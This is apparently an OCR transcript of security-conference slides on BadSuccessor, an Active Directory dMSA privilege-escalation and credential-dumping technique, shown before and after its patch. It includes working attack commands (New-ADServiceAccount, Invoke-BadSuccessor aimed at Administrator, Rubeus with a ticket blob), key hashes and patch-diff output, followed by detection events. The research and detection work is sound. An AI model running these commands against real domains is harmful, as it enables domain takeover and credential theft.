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Agenda

Introduction to service accounts
Deep dive to dMSA
BadSuccessor pre-patch

BadSuccessor post-patch



Service accounts

Daily ticket - TGT
Ride - Service
Ride Operator - Service account

Nog =
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* Thisis Bill
« Backin the 70’s, Bill opened an amusement park
» Bill wanted to improve security and came up with a hew model \ /4
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Story by Elad Shamir - Kerberos Delegation Attacks



Service accounts
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! O Legacy service accounts
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(A) Managed service accounts (MSA\gMSA)
\



Why g(MSA)s Cidn't Take Over

Operational friction



“dMSA’s secret can't be retrieved or
dMSA found anywhere other than on the DC”

(delegated MSA)

- Microsoft Documentation






dMSA Mgration Phases

e Start
 Wait

 Complete



Authentication How - befare mgration

SQL_SRV$

AS-REQ: svc_sql

~
-— AS-REP: svc_sql
SQL Service e ————————————




dMSAMgration - start

Accounts are linked

svc_sql is granted

permissions on DMSA$
158




Authentication flow - during mgration

SQL_SRV$

AS-REQ: svc_sql

AS-REP: svc_sql

= Additional info:
SQL Service Will be superseded by DMSA$
e

LDAP UPDATE:
Allow SQL_SRV$ access DMSA$







dMSAmgration - conplete

Configurations

svc_sql



Authentication flow - after mgration

SQL_SRV$

—
-

SQL Service

AS-REQ: svc_sql

——————————————————————————————————————————-
KRB-ERR:
Superseded by DMSA$

—

AS-REQ: DMSA$

—

AS-REP: DMSA$

—




dMSAmgration - privileges




- DMSA$






« DMSA$







Mgration

Start-ADServiceAccountMigration

- migrateADServiceAccount
(RootDSE op)

‘ e,' Attribute changes



BadSuccessor



Attack How - Rivilege Escalation

| Starting point: attacker has control over dMSA

Simulate dMSA Migration
Authenticate as dMSA

Domain Admin Privileges granted

<

" Goal: Acquire “Domain Admin” privileges



Managed
Service
Account

Container

Literally
Any OU




Attack How - Rivilege Escalation
ANY OU
| Starting point: attacker has control over-dMSA

Create dMSA in controlled OU
Simulate dMSA Migration
Authenticate as dMSA

Domain Admin Privileges granted

<

" Goal: Acquire “Domain Admin” privileges



N Administrator: Windows PowerShell

PS C:\>




Mcrosoft Response

* Vulnerability severity: Moderate

* Does not meet the bar for immmediate servicing
 Will be fixed in the future (fixed on Aug 12th)



But wait, there's more!



2.2.14 KERB-DMSA-KEY-PACKAGE

04/25/2024

The KERB-DMSA-KEY-PACKAGE structure contains a list of keys supplied by the KDC to an
authorized client when the client sends KDC-REQ-BODY as per [RFC4120] £ with the ticket granting

service as the sname using service for user as defined in [MS-SFU]

KERB-DMSA-KEY-PACKAGE ::= SEQUENCE {
current-keys [6] SEQUENCE OF EncryptionKey,
previous-keys [1] SEQUENCE OF EncryptionKey OPTIONAL,
expiration-interval [2] KerberosTime,
fetch-interval [4] KerberosTime,




SEQUENCE (4 elem)
[@0] (1 elem)
SEQUENCE (3 elem)
SEQUENCE (2 elem)
0 1 elem
[e] (1 elem) CURRENT-KEYS
[1] (1 elem)
OCTET STRING (32 byte) O9FED8B52ERO26B6D1B7D8BC223ESF3B39F1F7E94CE7A7F85ERO12969B02D924
SEQUENCE (2 elem)
[0] (1 elem)
INTEGER 17
[1] (1 elem)
OCTET STRING (16 byte) EAFODFD2A857662145D1F5D@56DF6DSC
SEQUENCE (2 elem)
[0] (1 elem)
INTEGER 23
[1] (1 elem)
OCTET STRING (16 byte) 6BSAC3DDCBC7C83F5917419042FFA2B2
elem
SEQUENCE J(1 elem)
SEQUENCE (2 elem)
[0] (1 elem) PREVIOUS-KEYS
INTEGER 23
[1] (1 elem)
OCTET STRING (16 byte) 47BF8039A8506CD67C524A03FF84BAAE
[2] (1 elem)
GeneralizedTime 1601-01-24 16:33:45 UTC
[4] (1 elem)
GeneralizedTime 1601-061-24 16:38:45 UTC




4/BF8039A8506CD6/C524A03FF84BAAE
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Many missed this on #BadSuccessor: it’s also a credential dumper.

| wrote a simple PowerShell script that uses Rubeus to dump Kerberos
keys and NTLM hashes for every principal-krbtgt, users, machines. no
DCSync required, no code execution on DC.

AndreTR @andreTRwi - May 25
Seems quite moderate.
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BadSuccessor |Is Dead,
Long Live BadSuccessor(?)



COVE-2025-53779 Patch



Migration

Start-ADServiceAccountMigration

' migrateADServiceAccount
*=  (RootDSE op)

= B



PS C:\> whoami

aka-dcl\weak

PS C:\> New-ADServiceAccount -Name "attacker_dmsa" -DNSHostName "a" —Path "OU=temp,DC=aka,DC=test" -CreateDelegatedServiceAccount —-Principa
sAllowedToRetrieveManagedPassword "AKA-SQLS$"

PS C:\>

- e e




M

PS C:\> Invoke-BadSuccessor -Dmsalame "attacker_dmsa" -OU "OU=temp,DC=aka,DC=test" -TargetDN "CN=Administrator,CN=Users, DC=aka, DC=test"




A -

PS C:\> Invoke-BadSuccessor -DmsaName "attacker_dmsa" -OU "OU=temp,DC=aka,DC=test" -TargetDN "CN=Administrator,CN=Users,DC=aka,DC=test"
[+] Giving ourselves control over the dMSA as the owner

[+] Control Granted

[+] Linking controlled dMSA to target user

dMSA is the successor of CN=Administrator, CN=Users,K DC=aka,KDC=test




PS C:\> .\Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket:doIFkjCCBY6gAwIBBaEDAg
IEozCCBJ9hggSbMIIEL6ADAGEFoQobCEFLQSS5URVNUohBwGE6ADAGECORQWEhsGa3.JidGdeGwhBSPEUVEVTVKOCBGMwggRfoAMCARKhAWIBAqKCBFEEggRNPeM312mLKLREDFECcmum
EvxucRtFUUSXPO3Wwx+18bvQx+n®2nzx9Lh/D/CoeldIIiTFgt0/0al TIEF Lq8MUIW+LUUSU+OETEVTE6FArYmAeLHp9pzBOAU22vEvRDyde+dmel 5FkToque1+0v23fzMnBXoJGzYU
xItQcFYLZUvj1CO0AwjkiX93hcjWPFV+vFoFII8jhQy7ZStY8QYmqB1FojPdDBndwEGPW6aVLEdIIrtVnRWDE78q7GKLitGY2ixCFiktlizViepnBnINOa/7g9ryr/SvMBM6GEFsh
x+x j 2dTDi pEorB7FqeTPkxkHHKHWV2TqfSbBPLely TeYX873txL3vtPIZMChTFvA4Z jQyO0WUC joRNom/IbTADNhRIWLr8POWUHMyz21iBH+BwThTzISWaul 6myFPPyDKpONVGTPCx
xjCiPKtHu28/31r9azBrEmkYo3gPqIuV8ejxM6zNH7I180rrX+usmU8nUZ+XCvRQ1kGBAw+yUmYoHj9PesL2bEgXzclm5Z+2iur3hbL2t9/kLRpRWE TnaSLQGEAdUuGxIbg/dhM@



PS C:\> .\Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket:doIFkjCCBY6gAwIBBaEDAg
IEozCCBJ9hggSbMIIEL6ADAGEF0QobCEFLQS5URVNUohBwG6ADAGECoRQWEhsGa3.JidGde@GwhBSBEuUVEVTVKOCBGMwggRfoAMCARKhAWIBAqKCBFEEggRNPeM312mLKkREDFEcmum
EvxucRtFUUSXPO3Wwx+i8bvQx+n02nzx9Lh/D/CoelIIiTfgt0/0al TOEFLq8MUIW+UUSU+OETEVT6FArYmAeLHp9pzOAU22v6vRDyde+dmeWf5FkToqull+0v2I3fzMnBXoJGzYU
xItQcFY1ZUvj1C0oAwjkiX93hc jWPFV+vFoFII8jhQy7ZStY8QYmqB1lFojPdDBndwERPWE6aVLE6dIIrtVnRWDET7Oq7GKLitGY2ixCFiktUzViepnBnINOa/7g9ryr/SvMBMEGETsh
x+x j 2d TDipEorB7FqeTPkxkHHKHWV2TqfSbBPLely TeYX873txL3vtPIZMChTFv4Z jQyOOWUc joRNom/IbTADNhRIWLr8POWUHMyYz21iBH+BwThTzISWaul6myFPPyDKpONVGTPCxX
xjCiPKtHU28/31r9azBrEmkYo3gPqIuV8e jxM6zNH7I180rrX+uS8mUSnuZ+XCvRQ1kGBAwW+ylUmYoHj9PesL2bEgXzclm5Z+2iur3hbL2t9/k1RpRwWETna5LQGEAdUUGXIbg,/dhMe
YncQQFLdloVxoxsWzbrEWmo3YgqQ/13FehUJIno5uTIm52hAAS3WEYplXp990UvoD3R10hQYduWrkxYN1Pzw5JSvbAX3ehvzUBfAQXrQcMgVWeLUObXdvmS326hI3FIk/YvIYtaAGPi
aKe+RZDEVZNIHUT83V58dFKPYBIWIBQ29rTQ3kVCxXUL pdgWit KEZeMMROVgoeOyZPx /JYTXPxUp66Rnbxpq8f03jJgG9zSVCQzLx j9d3ZL57u/6IQLhKFKEIIIAQONH j J6RWQmh 2w
CEIWh6+gc5bCmABiSUr30kr55brgVbb5a/MXys /BzqWBNG+AuxsXi9sY7U++DRLTPRBTLckOUOhm7+xyyMHVFAEENKKLI7Z1Bd3Cvb+yu98/0eHgirHDvIVRS xs+ZUJIm@fTUgHpa
oyr2/WDivGrafn3I99raCl6GZnagNxfwbNy5ZqDbMK+tppL5ajSlv73skAoAXrg/PwYLkyvVmveW®AubbyIcUESgvkQEg1 jaumcbdR98IQoMeH5FtukgQe+oxrrb5cApb5SpNUE3D
50/2EVSTzCQF3dqQV3GNLENrrbVy TLUYOyBECEH5qaaVaBv2RpbLGXRE3EZBB1IxLa jKPt81Q8Ica++bftU12FqSXr80,/fm2cF125hkwgGLYeI1yhVheWj153zH1ZXTRESF /UdeaN
32nQtnsNWgP2PRzLKPaZ0Y3a8LwQOqxpphU5SLmVxUeldDQn7WNBmOSotv1io9XofAGYvUcsYZIxuPTygkVAyqni302q9vmELS jo0e988y29G2WXibei IMFMT+HicIxY3+/mjkvyU
QwOcgrrPofQtwfupUxxdySeq6IXl/9Vgfrd2sii90egtiIoldHaMIHXoAMCAQCigc8Egex9gchkwgcaggcMwgcAwgb2gKzApoAMCARKhIgQgFVFARZsYXMOC6dgGm9CIUBUNDx3SgN
u3ml/alRChChsIQUtBL1RFU1SiFTAToAMCAQGhDDAKGWhBSBEtU1FMIKMHAWUAYKEAAKURGASYMDI 1MDkwM jEwNDkwM1gmERgPM jAyNTASMDIyMDQSMDNapxEYDz IwMjUwOTASMT
AzWqgKGwhBSBEUVEVTVKkdMBugAwIBAGEUMBIbBmtyYnRndBsIQUtBL1RFU1Q=

[#] Action: Ask TGS

[*] Requesting default etypes (RCU_HMAC, AES[128/256]_CTS_HMAC_SHAl) for the service ticket
[#] Building DMSA TGS-REQ request for ‘'attacker_dmsa$' from 'AKA-SQLS$'

[+] Sequence number is: 97157559

[#] Using domain controller: WIN-3GDKIM3DCKK.aka.test (172.18.188.0)

[X] KRB-ERROR (60) : KRB_ERR_GENERIC






5 primary Unmatched
EA Name Basic Blo¢ Instruction: Edges
0000 LW etails:Featurelmpl<_ WilFeatureTraits_Feature_Servicing_ExtendedAud jForKerberos>::_ private_IsEnabledPreCheck(
00000001800
000000018
000000018003...
000000018003,
3003
000000018003... w tails::Featurelmpl
000000018003 W etails:Featurelmpl
000000018004... w tails:Fe elmp 269779 _private_|sEnable
00 018004... W ue.. ue_storage esource_policy<HKEY__*long 2
___lambda_call_lambda_t
000000018004....  wil tails::Featurelmpl<_ WilFeatureTraits_Feature_G
000018 Y tail <_ WilFeatureTraits_Featu ervi endedAuditingForKerberos V2.
000000018004... w tails::Featurelmpl<_ WilFeatureTraits_Feature_Standalone_25_0 GetCachedFeatureEnabledSt

000000018004... wil::details:Featurelmpl<_ WilFeatureTraits_Feature_Standalone 25_07_No GetCachedFeatureEnabledSta

000000018004... w relmpl<_ WilFeatureTraits_Fea

000000018004... W :Featurelmpl<_ WilFeatureTrai

00 01 . wil tails::Featurelmpl<_ WilFeatureTraits_Featu 6 entFe EnabledSt:
000000018004.... w tails::Featurelmpl<_ WilFeatureTraits_Feature

KdcEncryp

KdcG

000000018004...
00001 n
018004... W tails::Featurelmpl<_ WilFeatureTraits_Feature_G
018004... W tails::Featurelmpl<_ WilFeatureTraits_Featu >::Reportl wil:ReportingKind
)00000018 etails boolw eportingKind,unsigned __intl
000000018004...
000000018004...
00 018004... wil ils::Featurelmpl<_ WilFeatureTrai u
000000018004....  wil tai _ WilFeatureTraits_Featur
)18004... W tails:Featurelmpl<_ WilFeatureTrai
000000018004... w tails::Featurelmpl<_ WilFeatureTraits_Featu
000000018004... w etails:Featurelmpl<_ WilFeatureTraits_Feature Bug KpasswdKeyUsage
o 018 .. W tails: | KpasswdK e tl
000000018004... w e BugFix KpasswdK ge>:Rep gel ng gned _ir
00001 . wil i eaturelmpl<_ WilFeatu i passwdKeyUsag i id)
000000018004... st tor<_X509_ALT_SEC_ID_NAME_T) Emplace._reallocate <_X509_ALT_SEC_ID_NAME_ &>( X509_ALT_SEC_ID_NAME_T... 6
000000018004... rector D_NAME_TYPE std_ allocator_enum_ X509 ALT_SEC_ID_NAME_ TYPE____ Emplace reallocate
018004... wil_: > 387d4f19d97356e4c94__
000000018004... tr t
000000018 u tional <u ng <u t <u t t optional <
000000018004... w u C /oil ) rbFr UNICODE_STRING *)
[000000018004... i
8l .
000000018004...
000000018004... w etails::Featurelmpl<_ WilFeatureTraits_Feature

000000018004... w etails:Featurelmpl<_ WilFeatureTraits_Feature_Serv Count>:GetCachedFeatureEnabledState(void)
000000018004.... w eaturelmpl<_ WilFeatureTraits_Feature_BugFix_A urrentFea bledState(i

000000018004... W :Featurelmpl<_ WilFeature u tFeatureEnabledState(int *)

000000018004.... wil ils::Featurelmpl<_ WilFeatureTrai tu {le ifyLil ureEnabledSta

000000018004...

relmpl<_ WilFeatureTraits_Fea
000000018005... W :Featurelmpl<_ WilFeatureTrai
_ WilFeatureTrai
000000018005... w tai
000000018005... w tails::

Line 139 of 287




% Primary Unmatched
EA Name Basic Bloc Instruction: Edges
000000018004... wil::details::Featurelmpl<_ WilFeatureTraits_Feature_Servicing_KdcDmsaVerifylLink>::GetCachedFeatureEnabledState(void) 14 20

000000018004... wil:details::Featurelmpl<_ WilFeatureTraits_Feature_Servicing_KdcDmsaVerifylink>:GetCurrentFeatureEnabledState(int *) 11 58 15

o

000000018005... wil:details::Featurelmpl<_ WilFeatureTraits_Feature_Servicing_KdcDmsaVerifyLink>::ReportUsage(boolwil:ReportingKind,unsigned _int64) 3 32 3

000000018005... wil:details::Featurelmpl<_ WilFeatureTraits_Feature Servicing KdcDmsaVerifylink>::_ private IsEnabled(void)
000000018005... wil:details::Featurelmpl<_ WilFeatureTraits_Feature DMSAKDC>::_ private_IsEnabledPreCheck(wil::ReportingKind)
000000018006... _KdcDmsaTgsReqWorker 1 dtor$1

000000018006... _KdcDmsaTgsReqWorker 1 dtor$2













Fost Patch Attack Scenaros

« User compromise (requires Write permissions)

« Domain-wide credential dumping (requires DA)



Primitive #2:
Credential Dumping



Detection



dMSA Qreation
* Configure SACL

A directory service object was created.

Subject:
Security ID: AKA-DC1\weak
Account Name: weak
Account Domain: AKA-DC1
Logon ID: Ox9F7154
Directory Service:

Name: aka.test
Type:  Active Directory Domain Services

Object:
DN: CN=weak_dmsa,OU=temp,DC=aka,DC=test
GUID: CN=weak_dmsa,OU=temp,DC=aka, DC=test
Class: msDS-DelegatedManagedServiceAccount

Operation:
Correlation ID:  {3af479a5-85e5-4d03-ad6d-29d44ce7afcb)
Application Correlation ID: -



dM3A Linkage
* Configure SACL

A directory service object was modified.

Subiject:
Security ID: AKA-DC1\weak
Account Name: weak
Account Domain: AKA-DC1
Logon ID: Ox9F72F8
Directory Service:

Name: aka.test
Type:  Active Directory Domain Services

Object:
DN: CN=weak_dmsa,OU=temp,DC=aka,DC=test
GUID:  {0612e945-4b17-4dce-8d30-8e4085710549}
Class: msDS-DelegatedManagedServiceAccount

Attribute:
LDAP Display Name: msDS-ManagedAccountPrecededByLink
Syntax (OID): 2.5.5.1
Value: CN=Administrator,CN=Users,DC=aka, DC=test



dMBA Credentials (2946)

* Default log

A caller successfully fetched the password of a group managed service account.

Group Managed Service Account Object:
CN=weak_dmsa,OU=temp,DC=aka, DC =test
Caller SID:

5-1-5-7

Caller IP:



Conclusions

* New # Secure

* Never skip the obvious

* Log & alert on dMSA links

 dAMSA Is a great new featurel
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